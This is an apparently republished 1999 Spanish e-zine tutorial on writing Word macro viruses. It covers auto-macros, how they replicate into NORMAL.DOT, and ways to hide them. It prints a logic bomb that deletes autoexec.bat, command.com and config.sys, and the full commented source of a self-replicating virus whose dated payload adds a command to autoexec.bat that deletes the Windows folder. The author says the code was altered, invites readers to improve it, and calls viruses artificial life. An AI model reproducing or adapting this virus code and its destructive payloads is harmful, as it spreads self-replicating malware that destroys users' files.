Iniciación a los virus de macro (I)

//

Este artículo fue publicado originalmente en el número #1 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.

Todo lo que expongo aquí no funciona intencionadamente (el código está alterado para que no pueda ser ejecutado), y afectaba únicamente a Word 7.0

La intención del artículo era demostrar una vulnerabilidad en dicho software para saber como evitar una infección de ese tipo.

Introducción

Los llamados virus o troyanos de macro son virus que se codifican en aplicaciones como Word o Excel, que utilizan dichas macros para automatizar ciertas tareas.

Son virus realmente fáciles de crear y de extender, pero si realmente te interesa el mundo de los virus, aprende a escribir virus en ensamblador. Digamos que escribo esto para conocer el funcionamiento de este tipo de virus.

Estan escritos en el lenguaje que utilize la aplicación para la que son creados, normalmente Visual Basic para Aplicaciones (VBA) o, en el caso del Word, en Word Basic (WB). Ambos lenguajes son muy parecidos (realmente el VB es una versión de Visual Basic específica para esta aplicación) , pero no es objeto de este artículo aprender a programar en estos lenguajes, sino estudiar algunas técnicas víricas para dichos lenguajes.

Por ser los más comunes, voy a comentar los virus de Word, aunque el mecanismo es el mismo para todas las aplicaciones.

El Word Basic es un lenguaje interpretado, bastante sencillo, y tiene la particularidad de que sus instrucciones están en el mismo idioma que el propio Word. Así, si codificamos un virus para el Word en castellano, si es ejecutado en un Word en inglés nos dará un mensaje de error. Si eres un poco hábil, deberías ser capaz de solucionar este problema para hacer un virus multilingue. De todas formas, hay muchas ordenes que son independientes del idioma, por lo que un buen objetivo sería escribir un virus utilizando únicamente este tipo de ordenes.

Las macros en Word se encuentran en las plantillas (*.dot). Cuando creas un documento nuevo, lo normal es que este documento se abra por defecto con la plantilla global NORMAL.DOT, aunque se puede abrir con una plantilla diferente si se desea. Estas plantillas son las que traen el formato con el que se inicia el documento.

Para crear un documento que contenga macros, solo hay que crear un documento, y guardarlo plantilla (.dot), y no como documento (.doc) Una vez hecho esto, el documento ya podrá contener macros. Hay que tener en cuenta que se puede renombrar el archivo, y pasarlo otra vez a .DOC, conservando así las propiedades de plantilla y las macros que contenga. Tambien se podría crear un documento nuevo, basado en una plantilla infectada, pero en este caso, a mi parecer, no es el más apropiado, puesto que depende ya de otro archivo.

Hay 5 macros automáticas , que son básicas (bueno, eso no es realmente cierto) para la creación de virus (aunque no de “documentos bomba”), ya que el fin último de un virus es reproducirse. Estas macros son:

AutoExec: Una macro con este nombre se ejecutara cada vez que se arranque el Word.

AutoOpen: Se ejecuta cada vez que se abre el documento.

AutoClose: Se ejecuta cada vez que se cierra el documento.

AutoNew: Se ejecuta cada vez que se crea un documento nuevo.

AutoExit: Se ejecuta al salir de Word.

No hace falta decir que estas macros automáticas se llaman asi en todas las versiones de Word.

Como cabe esperar, si una plantilla global (lease NORMAL.DOT) contiene una macro automática, todos los documentos que se abran con esa plantilla provocaran la ejecucion de dichas macros. Esta es una de las cosas mas importantes a tener en cuenta para escribir virus de macro.

Replicación

Para infectar, un virus puede utilizar varios mecanismos. Uno de ellos es la utilización de la función MacroCopiar:

MacroCopiar PlantillaOrigen:MacroOrigen , PlantillaDestino:MacroDestino , Soloejecutable

donde Soloejecutable es un número, que si es distinto de 0 hace que la macro se copie como solo ejecutable, y por tanto no se puede editar y ver su contenido.

El proceso de infección es simple. El documento infectado trae macros escritas en su código. Utilizando esta instrucción, puede copiar las Macros que trae en la plantilla global, infectando así el Word.

MacroCopiar “MiVirus:infecto” , “Global:AutoOpen” ,1

Esto copia la macro “infecto” de MiVirus.DOC a Global (NORMAL.DOT) como AutoOpen y en modo solo ejecución. A partir de ese momento, todos los documentos que utilizen esa plantilla, al ser abiertos provocaran la ejecución de la macro.

Stealth

En Word hay dos maneras de acceder a un menu donde podemos ver, editar o eliminar las macros de un documento:

Mediante el menu Herramientas/macros …, donde se pueden editar (en caso de no ser solo-ejecutables) , y eliminar.

Dentro de este cuadro de dialogo hay un boton (Organizador …) que nos muestra otro cuadro donde se puede copiar macros de un documento a otro o eliminar.

La otra forma es a través de Archivo / Plantillas … , donde tambien es accesible el Organizador.

Hay muchas formas de ocultar esto, y asi evitar el acceso a nuestras macros víricas. Podríamos desactivar estos menus, eliminarlos , incluso emularlos…

Bombas lógicas

Las bombas pueden hacerse tambien de muchas formas. Una de ellas es crear una macro en un documento, y asignarle unas teclas rápidas de ejecución.

Por ejemplo,

Sub MAIN
   FijarAtributos "c:\autoexec bat" ,0
   FijarAtributos "c:\command com",0
   FijarAtributos "c:\config sys",0
   Kill c:\autoexec bat"
   Kill "c:\command com"
   Kill "c:\config sys"
End Sub

Este pequeño código, elimina todos los atributos del autoexec.bat, config.sys y command.com (el “0” es el que lo indica). Despues los archivos son eliminados con la instruccion Kill.

Si hacemos una macro con esto, y le asignamos como tecla de ejecución, por ejemplo, “izquierda”, pulsar dicha tecla borraría los archivos.

Ejemplo: Pezqueñin.doc

Para terminar, aqui va un pequeño ejemplo de VBA virus muy sencillo, para entender lo explicado anteriormente. Tenemos un documento infectado, llamado pezqueñin.doc que contiene la siguiente macro llamada AutoOpen:

Sub MAIN

   MacroCopiar NombreVentana$() + ":infeccion" , "Global:AutoOpen" , 1
                                 // Copia la macro infección
                                 // a la plantilla global con el
                                 // nombre AutoOpen, y en modo solo ejecución

   MacroCopiar NombreVentana$() + ":AutoOpen" , "Global:infectado" , 1
                                 // Copia la macro AutoOpen del
                                 // documento infectado a la global con el infectado
End Sub

Y otra macro llamada infección

Sub MAIN

   On Error Resume Next
                      // Esta línea sirve para que en caso de error continue
                      // sin mostrar ningun mensaje de error que nos delataría,
                      // ya que en un lenguaje interpretado los mensajes de error
                      // aparecen segun van apareciendo.

   ArchivoGuardarComo .Formato = 1

                      // Guarda el archivo abierto con el formato de
                      // plantilla (Nota: esto en un virus real no sería viable, ya que
                      // guardaría cualquier archivo en ese formato, incluido un documento
                      // de solo texto, por ejemplo, nota.txt)

   MacroCopiar "Global:AutoOpen" , NombreVentana$() + ":infeccion" , 1
                      // Copia AutoOpen
                      // de la global al documento con el nombre infección

   MacroCopiar "Global:infectado" , NombreVentana$() + ":AutoOpen" , 1
                      // Copia infectado
                      //como AutoOpen

   ArchivoGuardar     // Guarda el archivo de nuevo

   If Dia(Ahora()) = 28 Then    // Si es dia 28

      If Mes(Ahora()) = 4 Then  // del mes de Abril

         MsgBox "Acaba de ser infectado por el virus Pezqueñin", "Virus msg", 0
                                                  // muestra este mensaje

         Open "c:\autoexec.bat" For Append As #1  // Abre el archivo autoexec.bat para adición

         Print #1 " del c\windows\*.* > null "    // añade esta linea al autoexec

         Close #1      // Cierra de nuevo el archivo

         SalirWindows  // Sale de Windows

      End If

   End If

End sub

Disclaimer

Este artículo está escrito con fines puramente didácticos, para conocer un poco más de lo que es capaz un ordenador, y a conocer los fallos que posee para poder solucionarlos.

Recordar que un virus no es un pedazo de software creado para destruir y/o irrumpir en maquinas ajenas, sino que es un ingenio informático que demuestra la posibilidad de crear una vida artificial capaz de reproducirse por si misma y evitar ser eliminada.